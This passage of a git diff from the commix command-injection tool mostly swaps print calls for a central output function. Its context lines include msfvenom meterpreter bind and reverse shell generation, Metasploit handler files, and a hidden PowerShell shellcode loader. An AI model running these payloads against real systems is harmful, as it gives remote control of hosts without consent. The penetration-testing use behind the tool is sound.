settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) continue payload = "python/meterpreter/bind_tcp" output = "py_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: proc = subprocess.Popen("msfvenom -p " + str(payload) + " RHOST=" + str(settings.RHOST) + @@ -410,7 +410,7 @@ def other_bind_shells(separator): data = ''.join(data) #data = base64.b64encode(data.encode(settings.DEFAULT_CODEC)).decode() - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: @@ -430,7 +430,7 @@ def other_bind_shells(separator): other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" msf_launch_msg(output) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break # Check for available shell options elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): @@ -456,7 +456,7 @@ def bind_tcp_options(separator): if bind_tcp_option.lower() == "bind_tcp": warn_msg = "You are into the '" + bind_tcp_option.lower() + "' mode." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) continue # Option 1 - Netcat shell @@ -493,11 +493,11 @@ def bind_tcp_options(separator): def configure_bind_tcp(separator): # Set up rhost for the bind TCP connection while True: - sys.stdout.write(settings.BIND_TCP_SHELL) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.BIND_TCP_SHELL) option = _input() if option.lower() == "bind_tcp": warn_msg = "You are into the '" + option.lower() + "' mode." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) continue elif option.lower() == "?": menu.bind_tcp_options() @@ -525,7 +525,7 @@ def configure_bind_tcp(separator): elif option[4:10].lower() == "lhost ": err_msg = "The '" + option[4:9].upper() + "' option, is not " err_msg += "usable for 'bind_tcp' mode. Use 'RHOST' option." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) continue elif option[4:10].lower() == "lport ": if check_lport(option[10:]): diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 0d0f6d4b56..b49dd94232 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -36,7 +36,7 @@ def shell_options(option): if option.lower() == "reverse_tcp": warn_msg = "You are into the '" + option.lower() + "' mode." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) elif option.lower() == "?": menu.reverse_tcp_options() elif option.lower() == "quit" or option.lower() == "exit": @@ -47,7 +47,7 @@ def shell_options(option): if option[4:10].lower() == "rhost ": err_msg = "The '" + option[4:9].upper() + "' option, is not " err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) if option[4:10].lower() == "lport ": check_lport(option[10:]) if option[4:12].lower() == "srvport ": @@ -60,32 +60,32 @@ def shell_options(option): # Payload generation message. def gen_payload_msg(payload): info_msg = "Generating the '" + payload + "' shellcode. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + """ Success msg. """ def shell_success(): info_msg = "Everything is in place, cross your fingers and wait for reverse shell (on port " + settings.LPORT + ").\n" - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + """ Error msg if the attack vector is available only for Windows targets. """ def windows_only_attack_vector(): error_msg = "This attack vector is available only for Windows targets." - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) """ Message regarding the MSF handler. """ def msf_launch_msg(output): info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) info_msg = "Once the loading is done, press here any key to continue..." - sys.stdout.write(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) sys.stdin.readline().replace("\n", "") # Remove the ouput file. os.remove(output) @@ -152,7 +152,7 @@ def set_python_interpreter(): """ def check_lhost(lhost): settings.LHOST = lhost - print("LHOST => " + settings.LHOST) + settings.print_data_to_stdout("LHOST => " + settings.LHOST) return True """ @@ -162,11 +162,11 @@ def check_lport(lport): try: if float(lport): settings.LPORT = lport - print("LPORT => " + settings.LPORT) + settings.print_data_to_stdout("LPORT => " + settings.LPORT) return True except ValueError: err_msg = "The provided port must be numeric (i.e. 1234)" - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) return False """ @@ -176,11 +176,11 @@ def check_srvport(srvport): try: if float(srvport): settings.SRVPORT = srvport - print("SRVPORT => " + settings.SRVPORT) + settings.print_data_to_stdout("SRVPORT => " + settings.SRVPORT) return True except ValueError: err_msg = "The provided port must be numeric (i.e. 1234)" - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) return False """ @@ -188,7 +188,7 @@ def check_srvport(srvport): """ def check_uripath(uripath): settings.URIPATH = uripath - print("URIPATH => " + settings.URIPATH) + settings.print_data_to_stdout("URIPATH => " + settings.URIPATH) return True """ @@ -386,15 +386,15 @@ def other_reverse_shells(separator): elif other_shell == '9': if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) continue payload = "php/meterpreter/reverse_tcp" output = "php_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: proc = subprocess.Popen("msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + @@ -405,7 +405,7 @@ def other_reverse_shells(separator): data = content_file.readlines() data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE) - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: @@ -422,22 +422,22 @@ def other_reverse_shells(separator): other_shell = "php -r \"" + data + "\"" msf_launch_msg(output) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break # Python-reverse-shell (meterpreter) elif other_shell == '10': if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) continue payload = "python/meterpreter/reverse_tcp" output = "py_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: proc = subprocess.Popen("msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + @@ -449,7 +449,7 @@ def other_reverse_shells(separator): data = ''.join(data) #data = base64.b64encode(data.encode(settings.DEFAULT_CODEC)).decode() - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: @@ -469,7 +469,7 @@ def other_reverse_shells(separator): other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" msf_launch_msg(output) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break # Powershell injection attacks @@ -497,7 +497,7 @@ def other_reverse_shells(separator): if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) continue payload = "windows/meterpreter/reverse_tcp" @@ -514,7 +514,7 @@ def other_reverse_shells(separator): # Greetz to Dave Kennedy (@HackingDave) powershell_code = (r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };';$goat = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if($env:PROCESSOR_ARCHITECTURE -eq "AMD64"){$x86 = $env:SystemRoot + "syswow64WindowsPowerShellv1.0powershell";$cmd = "-noninteractive -EncodedCommand";iex "& $x86 $cmd $goat"}else{$cmd = "-noninteractive -EncodedCommand";iex "& powershell $cmd $goat";}""" % (shellcode)) other_shell = "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand " + base64.b64encode(powershell_code.encode('utf_16_le')) - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" "set payload " + payload + "\n" @@ -523,7 +523,7 @@ def other_reverse_shells(separator): "exploit\n\n") msf_launch_msg(output) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break # TrustedSec's Magic Unicorn (3rd Party) @@ -552,7 +552,7 @@ def other_reverse_shells(separator): with open(output, 'r') as content_file: other_shell = content_file.read().replace('\n', '') other_shell = _urllib.parse.quote_plus(other_shell) - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Remove the ouput file os.remove(output) with open("unicorn.rc", 'w+') as filewrite: @@ -567,7 +567,7 @@ def other_reverse_shells(separator): except: continue except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break break @@ -595,7 +595,7 @@ def other_reverse_shells(separator): if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) continue if 'payload' in locals(): @@ -663,7 +663,7 @@ def reverse_tcp_options(separator): if reverse_tcp_option.lower() == "reverse_tcp": warn_msg = "You are into the '" + reverse_tcp_option.lower() + "' mode." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) continue # Option 1 - Netcat shell @@ -699,11 +699,11 @@ def reverse_tcp_options(separator): def configure_reverse_tcp(separator): # Set up LHOST for the reverse TCP connection while True: - sys.stdout.write(settings.REVERSE_TCP_SHELL) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.REVERSE_TCP_SHELL) option = _input() if option.lower() == "reverse_tcp": warn_msg = "You are into the '" + option.lower() + "' mode." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) continue if option.lower() == "?": menu.reverse_tcp_options() @@ -731,7 +731,7 @@ def configure_reverse_tcp(separator): elif option[4:10].lower() == "rhost ": err_msg = "The '" + option[4:9].upper() + "' option, is not " err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) continue elif option[4:10].lower() == "lport ": if check_lport(option[10:]): diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index 91490c1192..59d19e14cb 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -32,8 +32,8 @@ def tamper(payload): if settings.WHITESPACES[0] == "+": err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'." if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index ecf6f074dc..b07d076d2b 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -32,8 +32,8 @@ def tamper(payload): if settings.WHITESPACES[0] == "+": err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'." if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: diff --git a/src/core/testing.py b/src/core/testing.py index 6d73a37c7f..c045ac66c1 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -23,7 +23,7 @@ """ def smoke_test(): info_msg = "Executing smoke test." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) _ = True file_paths = [] @@ -40,19 +40,19 @@ def smoke_test(): __import__(path) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Succeeded importing '" + str(path) + "' module." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) except Exception as e: error_msg = "Failed importing '" + path + "' module due to '" + str(e) + "'." - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) _ = False result = "Smoke test " if _: result = result + "passed." - print(settings.print_bold_info_msg(result)) + settings.print_data_to_stdout(settings.print_bold_info_msg(result)) else: result = result + "failed." - print(settings.print_bold_error_msg(result)) + settings.print_data_to_stdout(settings.print_bold_error_msg(result)) raise SystemExit() diff --git a/src/thirdparty/flatten_json/flatten_json.py b/src/thirdparty/flatten_json/flatten_json.py index 40f8b6024e..1d3129d52a 100644 --- a/src/thirdparty/flatten_json/flatten_json.py +++ b/src/thirdparty/flatten_json/flatten_json.py @@ -49,7 +49,7 @@ def flatten(nested_dict, separator="_", root_keys_to_ignore=""): assert isinstance(separator, str), "Separator must be a string" # assert isinstance(nested_dict, dict), "The flatten() requires a dictionary input." except AssertionError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # This global dictionary stores the flattened keys and values and is ultimately returned @@ -84,7 +84,7 @@ def _unflatten_asserts(flat_dict, separator): # assert isinstance(flat_dict, dict), "The unflatten() requires a dictionary input." # assert all(isinstance(value, (bool, float, int, str)) for value in flat_dict.values()), "The provided dictionary is not flat." except AssertionError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() def unflatten(flat_dict, separator='_'): diff --git a/src/utils/common.py b/src/utils/common.py index 54f6eda4bd..bfffdc823f 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -32,7 +32,7 @@ """ def invalid_option(option): err_msg = "'" + option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) """ Invalid cmd output @@ -70,7 +70,7 @@ def is_empty(): answer = item.split('=')[1] if len(item.split('=')) > 1 else None if answer and question.lower() in message.lower(): value = answer - print(settings.print_message(message + str(value))) + settings.print_data_to_stdout(settings.print_message(message + str(value))) return value elif answer is None and value: return is_empty() @@ -78,21 +78,21 @@ def is_empty(): if value: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Used the given answer." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_message(message + str(value))) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_message(message + str(value))) return value elif value is None: if check_batch and menu.options.batch: - print(settings.print_message(message + str(default))) + settings.print_data_to_stdout(settings.print_message(message + str(default))) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Used the default behavior, running in batch mode." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) return default else: return is_empty() except KeyboardInterrupt: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise """ @@ -124,7 +124,7 @@ def running_as_admin(): else: err_msg = settings.APPLICATION + " is not able to check if you are running it " err_msg += "as an administrator account on this platform. " - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) is_admin = True return is_admin @@ -138,7 +138,7 @@ def days_from_last_update(): warn_msg = "You haven't updated " + settings.APPLICATION + " for more than " warn_msg += str(days_from_last_update) + " day" warn_msg += "s"[days_from_last_update == 1:] + "!" - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Shows all HTTP error codes raised @@ -148,7 +148,7 @@ def show_http_error_codes(): if any((str(_).startswith('4') or str(_).startswith('5')) and _ != settings.INTERNAL_SERVER_ERROR for _ in settings.HTTP_ERROR_CODES_SUM): debug_msg = "Too many 4xx and/or 5xx HTTP error codes " debug_msg += "could mean that some kind of protection is involved." - print(settings.print_bold_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) """ Automatically create a Github issue with unhandled exception information. @@ -176,13 +176,13 @@ def create_github_issue(err_msg, exc_msg): if choise in settings.CHOICE_YES: break elif choise in settings.CHOICE_NO: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) return else: invalid_option(choise) pass except: - print("\n") + settings.print_data_to_stdout("") raise SystemExit() err_msg = err_msg[err_msg.find("\n"):] @@ -201,7 +201,7 @@ def create_github_issue(err_msg, exc_msg): warn_msg += " and resolved. Please update to the latest " warn_msg += "(dev) version from official GitHub repository at '" + settings.GIT_URL + "'" warn_msg += ".\n" - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return except: pass @@ -219,12 +219,12 @@ def create_github_issue(err_msg, exc_msg): issue_url = re.search(r"https://github.com/commixproject/commix/issues/\d+", content.decode(settings.DEFAULT_CODEC) or "") if issue_url: info_msg = "The created Github issue can been found at the address '" + str(issue_url.group(0)) + "'.\n" - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) else: warn_msg = "Something went wrong while creating a Github issue." if settings.UNAUTHORIZED_ERROR in str(err): warn_msg += " Please update to the latest revision.\n" - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Masks sensitive data in the supplied message. @@ -247,54 +247,54 @@ def unhandled_exception(): match = re.search(r"\s*(.+)\s+ValueError", exc_msg) err_msg = "Identified corrupted .pyc file(s)." err_msg += "Please delete .pyc files on your system to fix the problem." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif "must be pinned buffer, not bytearray" in exc_msg: err_msg = "Error occurred at Python interpreter which " err_msg += "is fixed in 2.7.x. Please update accordingly. " err_msg += "(Reference: https://bugs.python.org/issue8104)" - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif any(_ in exc_msg for _ in ("MemoryError", "Cannot allocate memory")): err_msg = "Memory exhaustion detected." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif "Permission denied: '" in exc_msg: match = re.search(r"Permission denied: '([^']*)", exc_msg) err_msg = "Permission error occurred while accessing file '" + match.group(1) + "'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif all(_ in exc_msg for _ in ("Access is denied", "subprocess", "metasploit")): err_msg = "Permission error occurred while running Metasploit." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif all(_ in exc_msg for _ in ("Permission denied", "metasploit")): err_msg = "Permission error occurred while using Metasploit." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif "Invalid argument" in exc_msg: err_msg = "Corrupted installation detected. " err_msg += "You should retrieve the latest (dev) version from official GitHub " err_msg += "repository at '" + settings.GIT_URL + "'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif all(_ in exc_msg for _ in ("No such file", "_'")): err_msg = "Corrupted installation detected ('" + exc_msg.strip().split('\n')[-1] + "'). " err_msg += "You should retrieve the latest (dev) version from official GitHub " err_msg += "repository at '" + settings.GIT_URL + "'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif "Invalid IPv6 URL" in exc_msg: err_msg = "invalid URL ('" + exc_msg.strip().split('\n')[-1] + "')" - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif any(_ in exc_msg for _ in ("Broken pipe",)): @@ -302,34 +302,34 @@ def unhandled_exception(): elif any(_ in exc_msg for _ in ("The paging file is too small",)): err_msg = "No space left for paging file." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif all(_ in exc_msg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")) or \ any(_ in exc_msg for _ in ("source code string cannot contain null bytes", "No module named")) or \ any(_ in exc_msg for _ in ("ImportError", "ModuleNotFoundError", "", exc_msg) - print(settings.print_critical_msg(err_msg + "\n" + exc_msg.rstrip())) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg + "\n" + exc_msg.rstrip())) create_github_issue(err_msg, exc_msg[:]) # eof \ No newline at end of file diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 7573868965..99700efe5f 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -109,7 +109,7 @@ def store_crawling(output_href): if message in settings.CHOICE_YES: filename = tempfile.mkstemp(suffix=settings.OUTPUT_FILE_EXT)[1] info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) with open(filename, "a") as crawling_results: for url in output_href: crawling_results.write(url + "\n") @@ -141,7 +141,7 @@ def sitemap(url, http_request_method): if url.endswith(".xml") and "sitemap" in url.lower(): while True: warn_msg = "A sitemap recursion detected (" + url + ")." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) message = "Do you want to follow? [Y/n] > " message = common.read_input(message, default="Y", check_batch=True) if message in settings.CHOICE_YES: @@ -229,7 +229,7 @@ def check_sitemap(): def no_usable_links(crawled_hrefs): if len(crawled_hrefs) == 0: warn_msg = "No usable links found (with GET parameters)." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if not settings.MULTI_TARGETS: raise SystemExit() @@ -239,7 +239,7 @@ def no_usable_links(crawled_hrefs): def do_process(url, http_request_method): identified_hrefs = False if settings.CRAWLED_SKIPPED_URLS_NUM == 0 or settings.CRAWLED_URLS_NUM != 0: - sys.stdout.write("\r") + settings.print_data_to_stdout(settings.END_LINE.CR) # Grab the crawled hrefs. try: response = request(url, http_request_method) @@ -265,7 +265,7 @@ def do_process(url, http_request_method): visited_hrefs.append(href) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping URL " + href + "." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) else: identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False) no_usable_links(crawled_hrefs) @@ -298,14 +298,14 @@ def crawler(url, url_num, crawling_list, http_request_method): output_href = sitemap(url, http_request_method) if not settings.SITEMAP_CHECK or (settings.SITEMAP_CHECK and output_href is None): info_msg = "Starting crawler for target URL '" + url + "'" + _ + "." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) output_href = do_process(url, http_request_method) if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1: settings.DEFAULT_CRAWLING_DEPTH = 1 while settings.DEFAULT_CRAWLING_DEPTH <= int(menu.options.crawldepth): info_msg = "Searching for usable " info_msg += "links with depth " + str(settings.DEFAULT_CRAWLING_DEPTH) + "." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if settings.DEFAULT_CRAWLING_DEPTH == 2: output_href = new_crawled_hrefs elif settings.DEFAULT_CRAWLING_DEPTH > 2: @@ -326,10 +326,10 @@ def crawler(url, url_num, crawling_list, http_request_method): do_process(url, http_request_method) info_msg = str(link) info_msg += "/" + str(len(output_href)) + " links visited." - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + if link != 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) settings.DEFAULT_CRAWLING_DEPTH += 1 output_href = crawled_hrefs diff --git a/src/utils/install.py b/src/utils/install.py index ae6c8765d6..bcce5fe980 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -33,19 +33,19 @@ """ def uninstaller(): info_msg = "Starting the uninstaller. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: subprocess.Popen("rm -rf /usr/bin/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() subprocess.Popen("rm -rf /usr/share/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.SUCCESS_STATUS) + info_msg = "The un-installation of commix has finished!" - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) """ The installer. @@ -55,24 +55,24 @@ def installer(): dependencies = "git python-pip" info_msg = "Starting the installer. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + # Check if OS is Linux. if settings.PLATFORM == "posix": # You need to have administrative privileges to run this script. if not common.running_as_admin(): - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "You need to have administrative privileges to run this option." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if commix is already installed. if os.path.isdir("/usr/share/" + settings.APPLICATION + ""): - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) warn_msg = "It seems that " + settings.APPLICATION warn_msg += " is already installed in your system." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) while True: message = "Do you want to remove commix? [Y/n] > " uninstall = common.read_input(message, default="Y", check_batch=True) @@ -90,52 +90,52 @@ def installer(): if not os.path.isfile("/usr/bin/git") or not os.path.isfile("/usr/bin/pip"): # Install requirement. if os.path.isfile("/etc/apt/sources.list"): - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.SUCCESS_STATUS) + # Check for dependencies. dependencies_items = dependencies.split() for item in dependencies_items: requirments.do_check(item) else: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "The installer is not designed for any " err_msg += "other Linux distro than Ubuntu / Debian. " err_msg += "Please install manually: " + dependencies - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() # Force install of necessary packages subprocess.Popen("apt-get --force-yes -y install " + packages + ">/dev/null 2>&1", shell=True).wait() - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.SUCCESS_STATUS) + info_msg = "Installing " + settings.APPLICATION info_msg += " into the /usr/share/" + settings.APPLICATION + ". " - sys.stdout.write(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) try: current_dir = os.getcwd() subprocess.Popen("cp -r " + current_dir + " /usr/share/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() subprocess.Popen("chmod 775 /usr/share/" + settings.APPLICATION + "/" + settings.APPLICATION + ".py >/dev/null 2>&1", shell=True).wait() except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() - 